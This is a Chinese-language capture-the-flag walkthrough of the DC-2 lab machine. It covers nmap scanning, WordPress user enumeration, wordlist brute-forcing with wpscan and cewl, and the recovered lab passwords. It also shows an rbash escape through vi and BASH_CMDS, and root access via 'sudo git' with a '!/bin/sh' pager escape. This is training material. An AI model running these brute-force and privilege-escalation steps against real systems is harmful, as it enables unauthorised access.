DC-2
信息收集
arp-scan -l

nmap -sP 192.168.190.0/24

kali靶机:192.168.190.128
DC-2靶机:192.168.190.138
知道了靶机ip之后,我们就可以详细信息收集进行扫描
nmap -sS -T5 -sC -p- --min-rate 10000 192.168.190.138
nmap -sS -p---min-rate 10000 $ip
-
-sS
:表示 SYN 扫描,也叫半开放扫描。它不完成完整的 TCP 连接,仅发送 SYN 包,收到 SYN-ACK 包后回复 RST 包。这种扫描速度快且隐蔽,不易被目标系统日志记录。 -
-T5
:设置扫描的时间模板。T
取值范围是 0 - 5,T5
代表极速模式,扫描延迟非常低,会快速发送探测包以加快扫描速度,但可能增加被目标网络设备察觉的风险 。 -
-sC
:等同于--script=default
,会运行 Nmap 的默认脚本集。这些脚本用于检测常见服务的版本、漏洞等信息,能增强扫描的检测能力。 -
-p-
:指定扫描所有端口,即从 1 到 65535 的全部 TCP 端口。 -
--min-rate 10000
:设置扫描时每秒至少发送 10000 个探测包,目的是提高扫描速度,让扫描过程更快完成。

看到80端口开放着,我们访问一下靶机试试

但是发现访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们更改hosts文件,添加一个ip域名指向。

添加之后,再次访问,访问成功发现是wordpress的站点

dirsearch -u http://192.168.190.138 -e *
dirb http://192.168.190.138

whatweb -v 192.168.190.138


渗透测试
flag1


flag1的意思差不多就是让你暴力破解
前面信息收集时候发现后台的地址:
http://dc-2/wp-login.php?redirect_to=http%3A%2F%2F192.168.190.138%2Fwp-admin%2F&reauth=1


这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描进行用户枚举
wpscan一些常用用法:
wpscan --url http://dc-2 获取版本信息
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户 > admin/jerry/tom

这里是因为我kali版本太低了,没有扫出来
我们可以使用cewl命令行工具,对网站进行生成字典,保存到password.txt,然后使用wpscan爆破
cewl http://dc-2/ > password.txt
wpscan --url http://dc-2 --passwords password.txt


jerry/adipiscing
tom/parturient
然后进行登录

flag2

找到flag2

Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
如果您无法利用 WordPress 并走捷径,还有另一种方法。
希望您找到了另一个切入点。
flag3
我们还有一个tom账号没有登录,同时在信息收集的时候,我们还有个7744端口
ssh [email protected] -p 7744


ls
vi flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆总是追着杰瑞跑。也许他应该为他造成的所有压力感到自豪。
(su命令提示)

但是没有su这个命令,另外也提示我们需要rbash逃逸
(rbash 是受限的 bash shell,对用户的操作做了诸多限制,比如不能使用cd
命令改变目录、不能随意修改PATH
环境变量、限制导入功能等 ,目的是提升系统安全性,限制用户在系统中的操作范围。)

这里我一开始用的是vi的方式进行rbash逃逸
vi
:set shell=/bin/bash
:shell
然后我们就可以使用cd什么命令了

但是依旧没办法su

所以我们要去构造一个su命令
BASH_CMDS[su]=/bin/sh;su
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
su jerry

flag4
cd ..
ls
cd jerry
ls
cat flag4.txt

Good to see that you've made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you're on your own now. :- )
这里没有暗示,一,你现在只能靠自己了。*-)
Go on
继续
git outta here!!!!
最后肯定是需要提权获取到最后一个flag,提示到git,可能需要git提权
flag5
sudo -l

发现jerry无需root权限执行git
查看一下可以使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null
-perm -4000:用于筛选具有特定权限的文件。在linux权限体系中,4000(八进制)对应的权限标志是SUID。设置了SUID的文件,普通用户执行时会临时获得文件所有者(这里是root)的权限来运行该程序。表示查找所有设置了SUID权限位的文件。

这里sudo/su 都需要root权限,我们这里只能使用git命令,并使用git命令提权
sudo git branch --help config
以sudo权限(即 root 身份)打开 Git 分支配置相关的帮助文档
sudo git branch --help status
同理,以 root 身份打开 Git 状态相关的帮助文档。
!/bin/sh
在某些寻呼机程序(如less)中,!符号用于执行外部命令。这里的!/bin/sh会尝试以 root 权限启动一个交互式 shell。



cd /root
ls
cat final-flag.txt
